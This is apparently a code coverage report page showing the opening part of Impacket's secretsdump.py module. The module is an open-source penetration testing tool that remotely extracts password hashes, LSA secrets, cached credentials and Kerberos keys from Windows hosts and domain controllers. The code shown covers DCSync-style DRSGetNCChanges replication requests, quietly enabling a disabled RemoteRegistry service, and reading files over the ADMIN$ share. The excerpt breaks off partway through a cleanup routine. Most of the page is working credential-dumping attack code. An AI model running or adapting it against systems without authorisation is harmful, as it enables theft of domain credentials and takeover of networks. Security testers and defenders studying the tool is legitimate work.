Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# Description: Performs various techniques to dump hashes from the 

8# remote machine without executing any agent there. 

9# For SAM and LSA Secrets (including cached creds) 

10# we try to read as much as we can from the registry 

11# and then we save the hives in the target system 

12# (%SYSTEMROOT%\\Temp dir) and read the rest of the 

13# data from there. 

14# For NTDS.dit we either: 

15# a. Get the domain users list and get its hashes 

16# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() 

17# call, replicating just the attributes we need. 

18# b. Extract NTDS.dit via vssadmin executed with the 

19# smbexec approach. 

20# It's copied on the temp dir and parsed remotely. 

21# 

22# The script initiates the services required for its working 

23# if they are not available (e.g. Remote Registry, even if it is 

24# disabled). After the work is done, things are restored to the 

25# original state. 

26# 

27# Author: 

28# Alberto Solino (@agsolino) 

29# 

30# References: Most of the work done by these guys. I just put all 

31# the pieces together, plus some extra magic. 

32# 

33# https://github.com/gentilkiwi/kekeo/tree/master/dcsync 

34# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html 

35# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html 

36# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html 

37# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 

38# https://code.google.com/p/creddump/ 

39# https://lab.mediaservice.net/code/cachedump.rb 

40# https://insecurety.net/?p=768 

41# http://www.beginningtoseethelight.org/ntsecurity/index.htm 

42# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf 

43# https://www.passcape.com/index.php?section=blog&cmd=details&id=15 

44# 

45from __future__ import division 

46from __future__ import print_function 

47import codecs 

48import hashlib 

49import logging 

50import ntpath 

51import os 

52import random 

53import string 

54import time 

55from binascii import unhexlify, hexlify 

56from collections import OrderedDict 

57from datetime import datetime 

58from struct import unpack, pack 

59from six import b, PY2 

60 

61from impacket import LOG 

62from impacket import system_errors 

63from impacket import winregistry, ntlm 

64from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi 

65from impacket.dcerpc.v5.dtypes import NULL 

66from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE 

67from impacket.dcerpc.v5.dcom import wmi 

68from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ 

69 VARIANT, VARENUM, DISPATCH_METHOD 

70from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ 

71 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ 

72 IRemUnknown2, INTERFACE 

73from impacket.ese import ESENT_DB 

74from impacket.dpapi import DPAPI_SYSTEM 

75from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ 

76from impacket.nt_errors import STATUS_MORE_ENTRIES 

77from impacket.structure import Structure 

78from impacket.structure import hexdump 

79from impacket.uuid import string_to_bin 

80from impacket.crypto import transformKey 

81from impacket.krb5 import constants 

82from impacket.krb5.crypto import string_to_key 

83try: 

84 from Cryptodome.Cipher import DES, ARC4, AES 

85 from Cryptodome.Hash import HMAC, MD4, MD5 

86except ImportError: 

87 LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") 

88 LOG.critical("See https://pypi.org/project/pycryptodomex/") 

89 

90 

91# Structures 

92# Taken from https://insecurety.net/?p=768 

93class SAM_KEY_DATA(Structure): 

94 structure = ( 

95 ('Revision','<L=0'), 

96 ('Length','<L=0'), 

97 ('Salt','16s=b""'), 

98 ('Key','16s=b""'), 

99 ('CheckSum','16s=b""'), 

100 ('Reserved','<Q=0'), 

101 ) 

102 

103# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/CoreSecurity/impacket/issues/326 

104# Merci! Makes it way easier than parsing manually. 

105class SAM_HASH(Structure): 

106 structure = ( 

107 ('PekID','<H=0'), 

108 ('Revision','<H=0'), 

109 ('Hash','16s=b""'), 

110 ) 

111 

112class SAM_KEY_DATA_AES(Structure): 

113 structure = ( 

114 ('Revision','<L=0'), 

115 ('Length','<L=0'), 

116 ('CheckSumLen','<L=0'), 

117 ('DataLen','<L=0'), 

118 ('Salt','16s=b""'), 

119 ('Data',':'), 

120 ) 

121 

122class SAM_HASH_AES(Structure): 

123 structure = ( 

124 ('PekID','<H=0'), 

125 ('Revision','<H=0'), 

126 ('DataOffset','<L=0'), 

127 ('Salt','16s=b""'), 

128 ('Hash',':'), 

129 ) 

130 

131class DOMAIN_ACCOUNT_F(Structure): 

132 structure = ( 

133 ('Revision','<L=0'), 

134 ('Unknown','<L=0'), 

135 ('CreationTime','<Q=0'), 

136 ('DomainModifiedCount','<Q=0'), 

137 ('MaxPasswordAge','<Q=0'), 

138 ('MinPasswordAge','<Q=0'), 

139 ('ForceLogoff','<Q=0'), 

140 ('LockoutDuration','<Q=0'), 

141 ('LockoutObservationWindow','<Q=0'), 

142 ('ModifiedCountAtLastPromotion','<Q=0'), 

143 ('NextRid','<L=0'), 

144 ('PasswordProperties','<L=0'), 

145 ('MinPasswordLength','<H=0'), 

146 ('PasswordHistoryLength','<H=0'), 

147 ('LockoutThreshold','<H=0'), 

148 ('Unknown2','<H=0'), 

149 ('ServerState','<L=0'), 

150 ('ServerRole','<H=0'), 

151 ('UasCompatibilityRequired','<H=0'), 

152 ('Unknown3','<Q=0'), 

153 ('Key0',':'), 

154# Commenting this, not needed and not present on Windows 2000 SP0 

155# ('Key1',':', SAM_KEY_DATA), 

156# ('Unknown4','<L=0'), 

157 ) 

158 

159# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm 

160class USER_ACCOUNT_V(Structure): 

161 structure = ( 

162 ('Unknown','12s=b""'), 

163 ('NameOffset','<L=0'), 

164 ('NameLength','<L=0'), 

165 ('Unknown2','<L=0'), 

166 ('FullNameOffset','<L=0'), 

167 ('FullNameLength','<L=0'), 

168 ('Unknown3','<L=0'), 

169 ('CommentOffset','<L=0'), 

170 ('CommentLength','<L=0'), 

171 ('Unknown3','<L=0'), 

172 ('UserCommentOffset','<L=0'), 

173 ('UserCommentLength','<L=0'), 

174 ('Unknown4','<L=0'), 

175 ('Unknown5','12s=b""'), 

176 ('HomeDirOffset','<L=0'), 

177 ('HomeDirLength','<L=0'), 

178 ('Unknown6','<L=0'), 

179 ('HomeDirConnectOffset','<L=0'), 

180 ('HomeDirConnectLength','<L=0'), 

181 ('Unknown7','<L=0'), 

182 ('ScriptPathOffset','<L=0'), 

183 ('ScriptPathLength','<L=0'), 

184 ('Unknown8','<L=0'), 

185 ('ProfilePathOffset','<L=0'), 

186 ('ProfilePathLength','<L=0'), 

187 ('Unknown9','<L=0'), 

188 ('WorkstationsOffset','<L=0'), 

189 ('WorkstationsLength','<L=0'), 

190 ('Unknown10','<L=0'), 

191 ('HoursAllowedOffset','<L=0'), 

192 ('HoursAllowedLength','<L=0'), 

193 ('Unknown11','<L=0'), 

194 ('Unknown12','12s=b""'), 

195 ('LMHashOffset','<L=0'), 

196 ('LMHashLength','<L=0'), 

197 ('Unknown13','<L=0'), 

198 ('NTHashOffset','<L=0'), 

199 ('NTHashLength','<L=0'), 

200 ('Unknown14','<L=0'), 

201 ('Unknown15','24s=b""'), 

202 ('Data',':=b""'), 

203 ) 

204 

205class NL_RECORD(Structure): 

206 structure = ( 

207 ('UserLength','<H=0'), 

208 ('DomainNameLength','<H=0'), 

209 ('EffectiveNameLength','<H=0'), 

210 ('FullNameLength','<H=0'), 

211# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265 

212 ('LogonScriptName','<H=0'), 

213 ('ProfilePathLength','<H=0'), 

214 ('HomeDirectoryLength','<H=0'), 

215 ('HomeDirectoryDriveLength','<H=0'), 

216 ('UserId','<L=0'), 

217 ('PrimaryGroupId','<L=0'), 

218 ('GroupCount','<L=0'), 

219 ('logonDomainNameLength','<H=0'), 

220 ('unk0','<H=0'), 

221 ('LastWrite','<Q=0'), 

222 ('Revision','<L=0'), 

223 ('SidCount','<L=0'), 

224 ('Flags','<L=0'), 

225 ('unk1','<L=0'), 

226 ('LogonPackageLength','<L=0'), 

227 ('DnsDomainNameLength','<H=0'), 

228 ('UPN','<H=0'), 

229 # ('MetaData','52s=""'), 

230 # ('FullDomainLength','<H=0'), 

231 # ('Length2','<H=0'), 

232 ('IV','16s=b""'), 

233 ('CH','16s=b""'), 

234 ('EncryptedData',':'), 

235 ) 

236 

237 

238class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure): 

239 structure = ( 

240 ('Value','6s'), 

241 ) 

242 

243class SAMR_RPC_SID(Structure): 

244 structure = ( 

245 ('Revision','<B'), 

246 ('SubAuthorityCount','<B'), 

247 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY), 

248 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'), 

249 ('SubAuthority',':'), 

250 ) 

251 

252 def formatCanonical(self): 

253 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6])) 

254 for i in range(self['SubAuthorityCount']): 

255 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0]) 

256 return ans 

257 

258class LSA_SECRET_BLOB(Structure): 

259 structure = ( 

260 ('Length','<L=0'), 

261 ('Unknown','12s=b""'), 

262 ('_Secret','_-Secret','self["Length"]'), 

263 ('Secret',':'), 

264 ('Remaining',':'), 

265 ) 

266 

267class LSA_SECRET(Structure): 

268 structure = ( 

269 ('Version','<L=0'), 

270 ('EncKeyID','16s=b""'), 

271 ('EncAlgorithm','<L=0'), 

272 ('Flags','<L=0'), 

273 ('EncryptedData',':'), 

274 ) 

275 

276class LSA_SECRET_XP(Structure): 

277 structure = ( 

278 ('Length','<L=0'), 

279 ('Version','<L=0'), 

280 ('_Secret','_-Secret', 'self["Length"]'), 

281 ('Secret', ':'), 

282 ) 

283 

284 

285# Helper to create files for exporting 

286def openFile(fileName, mode='w+', openFileFunc=None): 

287 if openFileFunc is not None: 

288 return openFileFunc(fileName, mode) 

289 else: 

290 return codecs.open(fileName, mode, encoding='utf-8') 

291 

292 

293# Classes 

294class RemoteFile: 

295 def __init__(self, smbConnection, fileName): 

296 self.__smbConnection = smbConnection 

297 self.__fileName = fileName 

298 self.__tid = self.__smbConnection.connectTree('ADMIN$') 

299 self.__fid = None 

300 self.__currentOffset = 0 

301 

302 def open(self): 

303 tries = 0 

304 while True: 

305 try: 

306 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA, 

307 shareMode=FILE_SHARE_READ) 

308 except Exception as e: 

309 if str(e).find('STATUS_SHARING_VIOLATION') >=0: 

310 if tries >= 3: 

311 raise e 

312 # Stuff didn't finish yet.. wait more 

313 time.sleep(5) 

314 tries += 1 

315 pass 

316 else: 

317 raise e 

318 else: 

319 break 

320 

321 def seek(self, offset, whence): 

322 # Implement whence, for now it's always from the beginning of the file 

323 if whence == 0: 

324 self.__currentOffset = offset 

325 

326 def read(self, bytesToRead): 

327 if bytesToRead > 0: 

328 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) 

329 self.__currentOffset += len(data) 

330 return data 

331 return b'' 

332 

333 def close(self): 

334 if self.__fid is not None: 

335 self.__smbConnection.closeFile(self.__tid, self.__fid) 

336 self.__smbConnection.deleteFile('ADMIN$', self.__fileName) 

337 self.__fid = None 

338 

339 def tell(self): 

340 return self.__currentOffset 

341 

342 def __str__(self): 

343 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) 

344 

345class RemoteOperations: 

346 def __init__(self, smbConnection, doKerberos, kdcHost=None): 

347 self.__smbConnection = smbConnection 

348 if self.__smbConnection is not None: 348 ↛ 350line 348 didn't jump to line 350, because the condition on line 348 was never false

349 self.__smbConnection.setTimeout(5*60) 

350 self.__serviceName = 'RemoteRegistry' 

351 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' 

352 self.__rrp = None 

353 self.__regHandle = None 

354 

355 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' 

356 self.__samr = None 

357 self.__domainHandle = None 

358 self.__domainName = None 

359 self.__domainSid = None 

360 

361 self.__drsr = None 

362 self.__hDrs = None 

363 self.__NtdsDsaObjectGuid = None 

364 self.__ppartialAttrSet = None 

365 self.__prefixTable = [] 

366 self.__doKerberos = doKerberos 

367 self.__kdcHost = kdcHost 

368 

369 self.__bootKey = b'' 

370 self.__disabled = False 

371 self.__shouldStop = False 

372 self.__started = False 

373 

374 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' 

375 self.__scmr = None 

376 self.__tmpServiceName = None 

377 self.__serviceDeleted = False 

378 

379 self.__batchFile = '%TEMP%\\execute.bat' 

380 self.__shell = '%COMSPEC% /Q /c ' 

381 self.__output = '%SYSTEMROOT%\\Temp\\__output' 

382 self.__answerTMP = b'' 

383 

384 self.__execMethod = 'smbexec' 

385 

386 def setExecMethod(self, method): 

387 self.__execMethod = method 

388 

389 def __connectSvcCtl(self): 

390 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) 

391 rpc.set_smb_connection(self.__smbConnection) 

392 self.__scmr = rpc.get_dce_rpc() 

393 self.__scmr.connect() 

394 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 

395 

396 def __connectWinReg(self): 

397 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) 

398 rpc.set_smb_connection(self.__smbConnection) 

399 self.__rrp = rpc.get_dce_rpc() 

400 self.__rrp.connect() 

401 self.__rrp.bind(rrp.MSRPC_UUID_RRP) 

402 

403 def connectSamr(self, domain): 

404 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) 

405 rpc.set_smb_connection(self.__smbConnection) 

406 self.__samr = rpc.get_dce_rpc() 

407 self.__samr.connect() 

408 self.__samr.bind(samr.MSRPC_UUID_SAMR) 

409 resp = samr.hSamrConnect(self.__samr) 

410 serverHandle = resp['ServerHandle'] 

411 

412 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) 

413 self.__domainSid = resp['DomainId'].formatCanonical() 

414 

415 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) 

416 self.__domainHandle = resp['DomainHandle'] 

417 self.__domainName = domain 

418 

419 def __connectDrds(self): 

420 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, 

421 protocol='ncacn_ip_tcp') 

422 rpc = transport.DCERPCTransportFactory(stringBinding) 

423 rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) 

424 rpc.setRemoteName(self.__smbConnection.getRemoteName()) 

425 if hasattr(rpc, 'set_credentials'): 425 ↛ 429line 425 didn't jump to line 429, because the condition on line 425 was never false

426 # This method exists only for selected protocol sequences. 

427 rpc.set_credentials(*(self.__smbConnection.getCredentials())) 

428 rpc.set_kerberos(self.__doKerberos, self.__kdcHost) 

429 self.__drsr = rpc.get_dce_rpc() 

430 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 

431 if self.__doKerberos: 431 ↛ 432line 431 didn't jump to line 432, because the condition on line 431 was never true

432 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 

433 self.__drsr.connect() 

434 # Uncomment these lines if you want to play some tricks 

435 # This will make the dump way slower tho. 

436 #self.__drsr.bind(samr.MSRPC_UUID_SAMR) 

437 #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI) 

438 #self.__drsr.set_max_fragment_size(1) 

439 # And Comment this line 

440 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) 

441 

442 if self.__domainName is None: 442 ↛ 444line 442 didn't jump to line 444, because the condition on line 442 was never true

443 # Get domain name from credentials cached 

444 self.__domainName = rpc.get_credentials()[2] 

445 

446 request = drsuapi.DRSBind() 

447 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 

448 drs = drsuapi.DRS_EXTENSIONS_INT() 

449 drs['cb'] = len(drs) #- 4 

450 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ 

451 drsuapi.DRS_EXT_STRONG_ENCRYPTION 

452 drs['SiteObjGuid'] = drsuapi.NULLGUID 

453 drs['Pid'] = 0 

454 drs['dwReplEpoch'] = 0 

455 drs['dwFlagsExt'] = 0 

456 drs['ConfigObjGUID'] = drsuapi.NULLGUID 

457 # I'm uber potential (c) Ben 

458 drs['dwExtCaps'] = 0xffffffff 

459 request['pextClient']['cb'] = len(drs) 

460 request['pextClient']['rgb'] = list(drs.getData()) 

461 resp = self.__drsr.request(request) 

462 if LOG.level == logging.DEBUG: 462 ↛ 463line 462 didn't jump to line 463, because the condition on line 462 was never true

463 LOG.debug('DRSBind() answer') 

464 resp.dump() 

465 

466 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of 

467 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. 

468 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() 

469 

470 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. 

471 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( 

472 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) 

473 drsExtensionsInt.fromString(ppextServer) 

474 

475 if drsExtensionsInt['dwReplEpoch'] != 0: 475 ↛ 477line 475 didn't jump to line 477, because the condition on line 475 was never true

476 # Different epoch, we have to call DRSBind again 

477 if LOG.level == logging.DEBUG: 

478 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 

479 'dwReplEpoch']) 

480 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] 

481 request['pextClient']['cb'] = len(drs) 

482 request['pextClient']['rgb'] = list(drs.getData()) 

483 resp = self.__drsr.request(request) 

484 

485 self.__hDrs = resp['phDrs'] 

486 

487 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 

488 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) 

489 if LOG.level == logging.DEBUG: 489 ↛ 490line 489 didn't jump to line 490, because the condition on line 489 was never true

490 LOG.debug('DRSDomainControllerInfo() answer') 

491 resp.dump() 

492 

493 if resp['pmsgOut']['V2']['cItems'] > 0: 493 ↛ 496line 493 didn't jump to line 496, because the condition on line 493 was never false

494 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 

495 else: 

496 LOG.error("Couldn't get DC info for domain %s" % self.__domainName) 

497 raise Exception('Fatal, aborting') 

498 

499 def getDrsr(self): 

500 return self.__drsr 

501 

502 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, 

503 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): 

504 if self.__drsr is None: 

505 self.__connectDrds() 

506 

507 LOG.debug('Calling DRSCrackNames for %s ' % name) 

508 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) 

509 return resp 

510 

511 def DRSGetNCChanges(self, userEntry): 

512 if self.__drsr is None: 512 ↛ 513line 512 didn't jump to line 513, because the condition on line 512 was never true

513 self.__connectDrds() 

514 

515 LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry) 

516 request = drsuapi.DRSGetNCChanges() 

517 request['hDrs'] = self.__hDrs 

518 request['dwInVersion'] = 8 

519 

520 request['pmsgIn']['tag'] = 8 

521 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid 

522 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid 

523 

524 dsName = drsuapi.DSNAME() 

525 dsName['SidLen'] = 0 

526 dsName['Guid'] = string_to_bin(userEntry[1:-1]) 

527 dsName['Sid'] = '' 

528 dsName['NameLen'] = 0 

529 dsName['StringName'] = ('\x00') 

530 

531 dsName['structLen'] = len(dsName.getData()) 

532 

533 request['pmsgIn']['V8']['pNC'] = dsName 

534 

535 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 

536 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 

537 

538 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL 

539 

540 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP 

541 request['pmsgIn']['V8']['cMaxObjects'] = 1 

542 request['pmsgIn']['V8']['cMaxBytes'] = 0 

543 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ 

544 if self.__ppartialAttrSet is None: 

545 self.__prefixTable = [] 

546 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() 

547 self.__ppartialAttrSet['dwVersion'] = 1 

548 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) 

549 for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()): 

550 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) 

551 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet 

552 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) 

553 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable 

554 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL 

555 

556 return self.__drsr.request(request) 

557 

558 def getDomainUsers(self, enumerationContext=0): 

559 if self.__samr is None: 559 ↛ 560line 559 didn't jump to line 560, because the condition on line 559 was never true

560 self.connectSamr(self.getMachineNameAndDomain()[1]) 

561 

562 try: 

563 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, 

564 userAccountControl=samr.USER_NORMAL_ACCOUNT | \ 

565 samr.USER_WORKSTATION_TRUST_ACCOUNT | \ 

566 samr.USER_SERVER_TRUST_ACCOUNT |\ 

567 samr.USER_INTERDOMAIN_TRUST_ACCOUNT, 

568 enumerationContext=enumerationContext) 

569 except DCERPCException as e: 

570 if str(e).find('STATUS_MORE_ENTRIES') < 0: 

571 raise 

572 resp = e.get_packet() 

573 return resp 

574 

575 def getDomainSid(self): 

576 if self.__domainSid is not None: 576 ↛ 579line 576 didn't jump to line 579, because the condition on line 576 was never false

577 return self.__domainSid 

578 

579 if self.__samr is None: 

580 self.connectSamr(self.getMachineNameAndDomain()[1]) 

581 

582 return self.__domainSid 

583 

584 def getMachineKerberosSalt(self): 

585 """ 

586 Returns Kerberos salt for the current connection if 

587 we have the correct information 

588 """ 

589 if self.__smbConnection.getServerName() == '': 589 ↛ 592line 589 didn't jump to line 592, because the condition on line 589 was never true

590 # Todo: figure out an RPC call that gives us the domain FQDN 

591 # instead of the NETBIOS name as NetrWkstaGetInfo does 

592 return b'' 

593 else: 

594 host = self.__smbConnection.getServerName() 

595 domain = self.__smbConnection.getServerDNSDomainName() 

596 salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8')) 

597 return salt 

598 

599 def getMachineNameAndDomain(self): 

600 if self.__smbConnection.getServerName() == '': 600 ↛ 604line 600 didn't jump to line 604, because the condition on line 600 was never true

601 # No serverName.. this is either because we're doing Kerberos 

602 # or not receiving that data during the login process. 

603 # Let's try getting it through RPC 

604 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') 

605 rpc.set_smb_connection(self.__smbConnection) 

606 dce = rpc.get_dce_rpc() 

607 dce.connect() 

608 dce.bind(wkst.MSRPC_UUID_WKST) 

609 resp = wkst.hNetrWkstaGetInfo(dce, 100) 

610 dce.disconnect() 

611 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 

612 'wki100_langroup'][:-1] 

613 else: 

614 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() 

615 

616 def getDefaultLoginAccount(self): 

617 try: 

618 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') 

619 keyHandle = ans['phkResult'] 

620 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') 

621 username = dataValue[:-1] 

622 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') 

623 domain = dataValue[:-1] 

624 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

625 if len(domain) > 0: 625 ↛ 628line 625 didn't jump to line 628, because the condition on line 625 was never false

626 return '%s\\%s' % (domain,username) 

627 else: 

628 return username 

629 except: 

630 return None 

631 

632 def getServiceAccount(self, serviceName): 

633 try: 

634 # Open the service 

635 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) 

636 serviceHandle = ans['lpServiceHandle'] 

637 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) 

638 account = resp['lpServiceConfig']['lpServiceStartName'][:-1] 

639 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) 

640 if account.startswith('.\\'): 640 ↛ 641line 640 didn't jump to line 641, because the condition on line 640 was never true

641 account = account[2:] 

642 return account 

643 except Exception as e: 

644 # Don't log if history service is not found, that should be normal 

645 if serviceName.endswith("_history") is False: 

646 LOG.error(e) 

647 return None 

648 

649 def __checkServiceStatus(self): 

650 # Open SC Manager 

651 ans = scmr.hROpenSCManagerW(self.__scmr) 

652 self.__scManagerHandle = ans['lpScHandle'] 

653 # Now let's open the service 

654 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) 

655 self.__serviceHandle = ans['lpServiceHandle'] 

656 # Let's check its status 

657 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) 

658 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 658 ↛ 659line 658 didn't jump to line 659, because the condition on line 658 was never true

659 LOG.info('Service %s is in stopped state'% self.__serviceName) 

660 self.__shouldStop = True 

661 self.__started = False 

662 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 662 ↛ 667line 662 didn't jump to line 667, because the condition on line 662 was never false

663 LOG.debug('Service %s is already running'% self.__serviceName) 

664 self.__shouldStop = False 

665 self.__started = True 

666 else: 

667 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) 

668 

669 # Let's check its configuration if service is stopped, maybe it's disabled :s 

670 if self.__started is False: 670 ↛ 671line 670 didn't jump to line 671, because the condition on line 670 was never true

671 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) 

672 if ans['lpServiceConfig']['dwStartType'] == 0x4: 

673 LOG.info('Service %s is disabled, enabling it'% self.__serviceName) 

674 self.__disabled = True 

675 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) 

676 LOG.info('Starting service %s' % self.__serviceName) 

677 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) 

678 time.sleep(1) 

679 

680 def enableRegistry(self): 

681 self.__connectSvcCtl() 

682 self.__checkServiceStatus() 

683 self.__connectWinReg() 

684 

685 def __restore(self): 

686 # First of all stop the service if it was originally stopped 

687 if self.__shouldStop is True: 687 ↛ 688line 687 didn't jump to line 688, because the condition on line 687 was never true

688 LOG.info('Stopping service %s' % self.__serviceName) 

689 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) 

690 if self.__disabled is True: 690 ↛ 691line 690 didn't jump to line 691, because the condition on line 690 was never true

691 LOG.info('Restoring the disabled state for service %s' % self.__serviceName) 

692 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) 

693 if self.__serviceDeleted is False and self.__tmpServiceName is not None: 693 ↛ 696line 693 didn't jump to line 696, because the condition on line 693 was never true

694 # Check again the service we created does not exist, starting a new connection 

695 # Why?.. Hitting CTRL+C might break the whole existing DCE connection 

696 try: 

697 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) 

698 if hasattr(rpc, 'set_credentials'): 

699 # This method exists only for selected protocol sequences. 

700 rpc.set_credentials(*self.__smbConnection.getCredentials()) 

701 rpc.set_kerberos(self.__doKerberos, self.__kdcHost) 

702 self.__scmr = rpc.get_dce_rpc() 

703 self.__scmr.connect() 

704 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 

705 # Open SC Manager 

706 ans = scmr.hROpenSCManagerW(self.__scmr) 

707 self.__scManagerHandle = ans['lpScHandle'] 

708 # Now let's open the service 

709 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) 

